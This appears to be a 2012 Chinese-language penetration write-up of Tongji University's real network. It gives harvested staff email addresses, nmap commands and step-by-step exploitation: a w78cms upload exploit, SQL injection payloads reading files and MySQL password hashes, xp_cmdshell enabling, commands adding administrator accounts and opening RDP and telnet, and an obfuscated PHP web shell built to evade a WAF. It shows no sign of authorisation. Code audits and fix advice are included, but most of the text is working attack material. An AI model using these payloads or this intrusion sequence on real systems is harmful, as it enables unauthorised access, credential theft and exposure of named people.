2012写的一份渗透报告,排版比较乱。
内容包含,基础渗透,内网渗透,asp代码审核,C语言代码审核,php代码审核,漏洞修复方法,安全建议等,本人水平有限,勿喷
目标:同济大学 域名:www.tongji.edu.cn
1.信息收集
收集www.tongji.edu.cn 网站 子站 信息 为后续渗透做好铺垫。
1.1 获取IP
使用Ping得到IP 202.120.189.3 address:上海 Ping 返回 Request timed out 不排除有防火墙 WAF等包过滤的可能 性。
1.2 Whois 查询
网段: 202.120.176.0 - 202.120.191.255
管理员联系:
Cui , Zijun (ZC3-CN)
+86-21-6598-9006
技术人员联系:
Wang , Zhengping (ZW2-CN)
+86 21 65025080 ext. 2840
最后更新记录在 19970627
记录于 19970627
dns.tongji.edu.cn 202.120.191.30
dns1.tongji.edu.cn 202.120.191.208
1.3 Mail:收集
Mail服务器:http://mail.tongji.edu.cn
碰过很多用邮箱前辍做密码的.
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
1.4 子域名收集
分布这个网段:202.120.189.3-202.120.189.255C段全部是WEB应用
同服网站:
http://www.tongji.edu.cn
http://news.tongji.edu.cn
http://gandong.tongji.edu.cn
http://photo.tongji.edu.cn
2. 扫描
nmap:
nmap -sS -sV -P0 -T4 -O -A -F -sC --version-light -v www.tongji.edu.cn
返回:
80/tcp open http nginx 1.0.8
|_http-methods: No Allow or Public header in OPTIONS response (status code 405)
|_http-title: \xE6\xAC\xA2\xE8\xBF\x8E\xE8\xAE\xBF\xE9\x97\xAE\xE5\x90\x8C\xE6\x
B5\x8E\xE5\xA4\xA7\xE5\xAD\xA6\xE4\xB8\xBB\xE9\xA1\xB5
nix 只对外开放一个80 估计是Iptables策略,信息收集的差不多这后
由于主站只开放一个WEB应用 。
只好转战WEB上来
3.web评估
首先使用首先使用Wet工具对镜点进行镜像:
爬完网站后,在网站目录结构下找到在一个叫SC的目录,该目录下找到一个asp的网站
测试一下了也没存在漏洞 还调用了防注入程序。
过滤GET POST COOKIE 提交过来的数据 主站无果 旁站也没有可拿到shell的漏洞,现在只好渗透分站了
找到一个Ip:202.120.189.3 此站服务器上只有一个站点
初步估计权限会很大 好提权 好吧 就它了
先测试注入:提交单引号:http://celiang.tongji.edu.cn/clwww/shownews.asp?id=65’
居然玩跳转了:
这个跳转也暴露了,它网站使用的程序,是一套asp的cms,w78cms,估计大家都很熟悉,国内用的比较多吧.
这套程序存在一个上传漏洞,以下是分析过程:
Sub InitUpload() sType = UCase(Trim(Request.QueryString("type"))) sStyleName = Trim(Request.QueryString("style")) sCusDir = Trim(Request.QueryString("cusdir")) sParamSYFlag = Trim(Request.QueryString("syflag")) sCusDir = Replace(sCusDir, "\", "/") If Left(sCusDir, 1) = "/" Or Left(sCusDir, 1) = "." Or Right(sCusDir, 1) = "." Or InStr(sCusDir, "./") > 0 Or InStr(sCusDir, "/.") > 0 Or InStr(sCusDir, "//") > 0 Then sCusDir = "" '这里程序员只考虑到了跨目录的问题 End If Dim i, aStyleConfig, bValidStyle bValidStyle = False For i = 1 To Ubound(aStyle) aStyleConfig = Split(aStyle(i), "|||") If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then bValidStyle = True Exit For End If Next If bValidStyle = False Then OutScript("parent.UploadError('style')") End If sBaseUrl = aStyleConfig(19) nUploadObject = Clng(aStyleConfig(20)) nAutoDir = CLng(aStyleConfig(21)) sUploadDir = aStyleConfig(3) If sBaseUrl<>"3" Then If Left(sUploadDir, 1) <> "/" Then sUploadDir = "../" & sUploadDir End If End If Select Case sBaseUrl Case "0", "3" sContentPath = aStyleConfig(23) Case "1" sContentPath = RelativePath2RootPath(sUploadDir) Case "2" sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir)) End Select If sBaseUrl<>"3" Then sUploadDir = Server.Mappath(sUploadDir) ‘这里创建目录 End If If Right(sUploadDir,1)<>"\" Then sUploadDir = sUploadDir & "\" End If
很明显 程序员只考虑到跨目录的漏洞 没有过滤点号 最后创目录 结合IIS解析漏洞 导致漏洞形成。
漏洞修复方法:sCusDir = Replace(sCusDir, ".", "")
漏洞利用:
http://celiang.tongji.edu.cn/clwww/admin/w78eWebEditor/asp/upload.asp?action=save&type=image&style=popup&cusdir=Zvall.asp
时程序会在uploadfile 目下创建一个名为Zvall.asp的文件夹
在利用这个HTML上传吧
<form action="http://celiang.tongji.edu.cn/clwww/admin/w78eWebEditor/asp/upload.asp?action=save&type=image&style=popup&cusdir=Zvall.asp" method=post name=myform enctype="multipart/form-data"> <input type=file name=uploadfile size=100><br><br> <input type=submit value=upload> </form>
上传成功后返回的源码:
传WEB后门发现服务器已被攻陷 有administrator组admin$帐号一枚,并且发现服务器支持JSP 默认是SYSTEM权限,
ipconfig /all后发现服务器有4张网卡
其中一张是VirtualBox虚拟网卡.
多网段意味着渗透的空间更大,执行net
user Administrator命令后发现:管理员的最后登录时间为2012-8-14
7:00
看来服务器管理员经常来服务器 在查看了下administrator的桌面发现个bat
内容为:
ipconfig /release
ipconfig /renew
可以看出服务器的某张网卡采取的是dhcp方式
初步猜测管理员可能不是小白 所以类似进服务器桌面操作看起来有点不可取
但又没办法只好挂上一个VPN加一个跳板
再添加管理帐号
再用lcx.exe 转发端口
网络连接信息:
执行ipconfig /all:后发现有如下网段
网段1: 10.10.203.*
网段2: 192.168.0.*
网段3: 169.254.*
DHCP
首先渗透 网段2:
先破系统hash为:gisgp** 由于服务器上装了chrome浏览器所以读读密码吧,例如上网上时表单的密码。不过运气并没有眷故我,没有读出密码在读其实WEB程序配置文件时发现本机的MSSQL存在一个弱口令 sa/password,由于没有将1433映射到公网所以降低了被渗透的风险
网卡2:ip为
192.168.0.11
在枚举时发现192.168.0.12与192.168.0.11的Ntpass密码一样
果断连接ipc$
又现sql 弱口令一枚 看来这个管理员安全意低, 同时网段1
ip 为: 10.10.203.70
OS:windows xp 存在NT弱口令。
简单测试了一下这个网段存在以下问题
- 管理的系统密码通用
- 同时管理的两台WEB应用服务器 MSSQL 都存在弱口令
到了这步 首先利用WMI 给服务器开telnet,服务器是ip:
192.168.0.12 OS:windows 2000
再telnet里 添加帐号 net
user Zvall Zvall/add& net localgroup administrators Zvall /add
由于服务器3389没有打开
加之是windows 2000 网上的那些开3389的脚本都要重启
这里我想了一个不用重启的方法出来了脚本如下:
echo [Components] > c:\Zvall
echo TSEnable = on >> c:\Zvall
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\Zvall /q
执行以上脚本后无需重启即开3389 成功
good
哎 只有两三台服务器出搞了个domain,简直了:
由于此段只有几个IP 只好换网段再渗透:
现在目标定在:192.168.0.250.* 这个段上
首先收集内网中存活的IP:
Nmap -sP 192.168.o.o/24
在使用SuperScanner 扫C段常见的应用:
在观察端口时发现 192.168.250.3 服务器上的WEB应用程序属于开源程序BBS程序KBS
KBS bbs 是由C语言+php编写而成
于是下了源码分析了一下,发现存在一个上传漏洞
C代码 源码分析: PHP_FUNCTION(bbs_upload_add_file) { char *filename, *ofilename; int flen, oflen, ret; if (zend_parse_parameters(2 TSRMLS_CC, "ss/", &filename, &flen, &ofilename, &oflen) == FAILURE) { WRONG_PARAM_COUNT; } if (!flen || !oflen) { RETURN_ERROR(GENERAL); } ret = upload_add_file(filename, ofilename, getSession()); switch (ret) { case -1: RETURN_ERROR(GENERAL); break; case -2: RETURN_ERROR(ATTACH_CLIMIT); break; case -3: RETURN_ERROR(ATTACH_INVALIDNAME); break; case -4: RETURN_ERROR(ATTACH_DUPNAME); break; case -5: RETURN_ERROR(GENERAL); break; case -6: RETURN_ERROR(ATTACH_SLIMIT); break; default: RETURN_LONG(0); break; } } upload_add_file: int upload_add_file(const char *filename, char *original_filename, session_t *session) { int ret = upload_add_file_helper(filename, original_filename, session); if (ret) unlink(filename); return(ret); } upload_add_file_helper: static int upload_add_file_helper(const char *filename, char *original_filename, session_t *session) { struct ea_attach_info ai[MAXATTACHMENTCOUNT]; char attachdir[MAXPATH], attachfile[MAXPATH]; FILE *fp; char buf[256]; int i, n, len; int totalsize=0; char *pos1, *pos2; struct stat stat_buf; n = upload_read_fileinfo(ai, session); if (n >= MAXATTACHMENTCOUNT) return -2; pos1 = strrchr(original_filename, '\\'); pos2 = strrchr(original_filename, '/'); if (pos1 && pos2) { if (pos1 < pos2) pos1 = pos2; original_filename = pos1 + 1; } else { pos1 = pos1 ? pos1 : pos2; if (pos1) original_filename = pos1 + 1; } len = strlen(original_filename); if (!len) return -3; if (len > 60) { original_filename += (len-60); if (original_filename[-1] & 0x80) { original_filename++; } } filter_upload_filename(original_filename); //过滤跨站字符 for (i=0;i<n;i++) { if (strcmp(ai[i].name, original_filename) == 0) return -4; totalsize+=ai[i].size; } if (stat(filename, &stat_buf) != -1 && S_ISREG(stat_buf.st_mode)) { totalsize += stat_buf.st_size; } else { return -5; } if (!HAS_PERM(session->currentuser, PERM_SYSOP) && totalsize > MAXATTACHMENTSIZE) return -6; getattachtmppath(attachdir, MAXPATH, session); mkdir(attachdir, 0700); snprintf(attachfile, MAXPATH, "%s/%d_%d", attachdir, (int)(time(NULL)%10000), rand()%10000); f_mv(filename, attachfile); snprintf(buf, sizeof(buf), "%s %s\n", attachfile, original_filename); snprintf(attachfile, MAXPATH, "%s/.index", attachdir); if ((fp = fopen(attachfile, "a")) == NULL) return -1; fprintf(fp, "%s", buf); fclose(fp); return(0); }
整个过程都没有检测上传文件类型,只过滤了一些跨站字符
首先在BBS上注册一个帐号
上传地址为: http://bbs.tongji.edu.cn/bbsupload.php?act=add
<?php
print `ls -la`;
?>
上传这个文件后突然发现访问不了网站了,上传txt又可以果然是WAF在作怪啊
据以往渗透的经验来看 初步估计192.168.250.* 这个网段有一台WAF
明显是检测 关键字 ,大概过了5分钟 左右 发现可以访问了
又上传一个传的文件<? print ‘Zvall‘;?> ,此时WAF又中断了访问,看来是WAF检测了后辍名了。
再上传一个txt 返回正常
为了证明此漏洞的存在,我在网上找了个大学BBS站测试了一下,并成功上传php后门。
漏洞修复方法:使用白名单方式过滤filename ,把 Filepath定义成常量
到了这步只好继续看SuperScanner扫出的结果:
APPWEB 这不是嵌入式设备才有的么?
于是访问 192.168.250.254
果然是高级货Juniper
SRX3600 大学有钱呀
呵呵 难怪搞这个这么昂贵的设备呀 因为此网段全是WEB应用,现在只好继续查找其它WEB应用。
继续找到一个IP存在一个猪肉点 192.168.250.13
用的Asp.net程序存在 SA 权限 注点一个
数据库为: Mssql2008
提交:
http://gonghui.tongji.edu.cn/WebSite1/Public/NewsDetail.aspx?lastestnewsid=638+and+user>0
返回:
“/WebSite1”应用程序中的服务器错误。
在将 nvarchar 值 ‘dbo‘ 转换成数据类型 int 时失败。
http://gonghui.tongji.edu.cn/WebSite1/Public/NewsDetail.aspx?lastestnewsid=638+and+(select+IS_SRVROLEMEMBER(‘sysadmin‘))=1--
返回正常 当前是SA 由于mssql2008默认没有开启xp_cmdshell 所以还得开启它才执行命令,以用如下语句开启:
EXEC sp_configure ‘show advanced options‘, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell‘, 1;RECONFIGURE;
再利用Pangolin执行命令
再直接来开3389 加管理员
执行REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD
/d 00000000 /f
执行完后 发现3389端口并没有打开
执行shutdown -r -t 0 返回: 计算机已经锁定而且不使用强制选项无法关机。(1271)
那就只有把管理员注销掉执行query
user 返回
枚举会话名时的错误 0x000006A6
错误[1702]:绑定句柄无效
哎 由于不知道管理员的会话ID 所以无法去注销了
现在只好开启telnet服务了
执行:
sc config tlntsvr start= auto
net start telnet
再加管理员
此时:192.168.250.13被成功攻陷
总结一下WEB程序漏洞修复方法:
Asp.net程序注入防护:
1.对用户传入的值进行强制类型转换
2.使用正则表达式验证控件对用户传入的值进行长度进行限制
3.对SQL语句使用命令参数方式
最后的渗透 --突破WAF
在继续查找此网段的WEB应用漏洞时,发现mba.tongji.edu.cn
这个站php写的
存在一个字符型mysql注入点,提交一个单引号后爆出绝对路径,后来发现不能用order
by 语句
分析下SQL语句:
SELECT * FROM (`tongji_page_info`) WHERE `id` = ‘111‘ order by 1 and ‘‘=‘‘ ORDER BY `id` DESC
有两个 order by
现在只好依次提交:
http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111‘/*--*/union+select/*--*/null,null,null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/‘‘=‘
返回正常
提交:
http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111‘/*--*/union/*--*/select/*--*/null,user(),null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/‘‘=‘
返回:[email protected]
Mysql版本为:5.0.19-nt
测试读文件权限:
提交:
http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111111111111‘/*--*/union/*--*/all/*--*/select/*--*/null,concat(0x7e,0x27,load_file(0x433A5C626F6F742E696E69),0x27,0x7e),null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/‘‘=‘
成功返回boot.ini文件
Into outfile Shell 写shell时发现失败,之前扫WEB目录时发现有phpmyadmin程序
在提交:
http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111111111111111‘/*--*/union/*--*/all/*--*/select/*--*/NULL,(select+concat(0x7e,0x27,unhex(Hex(cast(user+as+char))),0x3a,unhex(Hex(cast(password/*--*/as/*--*/char))),0x3a,unhex(Hex(cast(host/*--*/as/*--*/char))),0x27,0x7e)/*--*/from/*--*/mysql.user/*--*/limit/*--*/1,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/*--*/and/*--*/‘‘=‘
成功读出mysql root密码 破出其mysql HASH后 登录phpmyadmin
再执行以下sql写shell;
create table tmp(cmd TEXT);
insert into tmp values(‘<?copy($_FILES[Zvall][tmp_name],$_FILES[Zvall][name]);?>‘);select
* from tmp into outfile ‘E:\\Apache\\www\\system\\database\\ss2.php‘; drop table tmp;
在本地上传文件时 WAF 毫不留情的中断了俺的访问
再次尝试执行;
create table tmp(cmd TEXT); insert into tmp values(‘<?eval($a);?>‘);select
* from tmp into outfile ‘E:\\Apache\\www\\system\\database\\ss2.php‘; drop table tmp;
放在菜刀里执行后 WAF 再次中断了我的访问
在市面上找了一些免杀的一句话 后还是过不了WAF这关呀
于是自己动手写了个小后门:
<?$bar = 's'.'y'.'s'.'t'.'e'.'m'; $gt = '_'.'G'.'E'.'T'; $bar(${$gt}['cmd']);?> <?$bar = 's'.'y'.'s'.'t'.'e'.'m';$gt = '_'.'G'.'E'.'T';$bar(${$gt}['cmd']);?> reate table tmp(cmd TEXT); insert into tmp values('<?$bar = 's'.'y'.'s'.'t'.'e'.'m';$gt = '_'.'G'.'E'.'T';$bar(${$gt}['cmd']);?> ');select * from tmp into outfile 'E:\\Apache\\www\\Zvall.php'; drop table tmp;
可以了
访问:http://mba.tongji.edu.cn/Zvall.php?cmd=whoami 执行whoami命令
返回 nt authority\system,SYSTEM权限
在执行http://mba.tongji.edu.cn/Zvall.php?cmd=dir时发现了一个意思的东东
最后导致服务器攻陷的原因终根结底还是WEB应用程序漏洞所致
下面是漏洞程序分析:
类似这样的URL:http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111
都是基于路由模式
调用page.php中的pagedetail方法:
php源码审核:
function __construct(){ parent::__construct(); $this->load->helper('url'); $this->load->model('Page_Info_Model'); $this->load->helper('UtilClass'); } public function pagedetail(){ $id = Util::getPar('id'); $where = "`id` = '".$id."'"; $info = $this->Page_Info_Model->getInfo($where); //顶级页面 顶级下所有页面 $topinfo = $this->Page_Info_Model->getTopInfo($id); $infos = $this->Page_Info_Model->getChilds($topinfo['id']); $result = array(); $result['info'] = $info; $result['topinfo'] = $topinfo; $result['infos'] = $infos; $this->load->view('pagedetail', $result); } Util类Getpar 方法: class Util{ public static function getPar($name){ if(!empty($_GET[$name])){ return $_GET[$name]; }elseif(!empty($_POST[$name])){ return $_POST[$name]; }elseif(!empty($_SESSION[$name])){ return $_SESSION[$name]; }elseif(!empty($_COOKIE[$name])){ return $_COOKIE[$name]; }else{ return null; } }
直接去获取用户传过来的值无任何过滤。
漏洞修复方法:
1.WEB程序修复:
$id = (int)Util::getPar(‘id‘);
2.服务端设置建议
1.Phpmyadmin 不要放在WEB 根目录 将其改名
2.给apache mysql 降权 以低权限运行
3.给WEB 设置访问权限 禁用一些php危险函数如:System.shell_exec
4.3389端口映射到公网时。把端口改掉
总结
总结下各网段网络管理员的管理范畴中的不善:
网段1 :192.168.250.*
1.WAF 配置不当
2. WEB 应用程序漏洞
网段2: 10.10.203.*
- 无软防与硬防
- 口令存取机制
3.WEB应程序漏洞
网段3:192.168.0.*
1.无软防 与硬防
2口令存取机制 通用密码
3.WEB应用程序漏洞
安全建议:
1.设备安全
- 不同VLAN之间最好隔离. 即使攻击者
攻陷网段1 也无法访问网段2
- 交换机堆叠级联的问题. 如果有两个网关
那么攻击者就可以 以单网卡多IP的方式
渗透其它网段
- 口令存取机制
建议设置强壮的密码, 不要使用QQ 生日
论坛 的帐号 密码做服务器密码
不要使用通用密码
- 软件 系统
定时更新系统补丁 以防 0day 提权漏洞
权限设置
- WEB 应用防护
由于WEB 应用多. 建议重新部署WAF的检测机制
EOF
---------------------------------------------------------------------------------------------------------------------------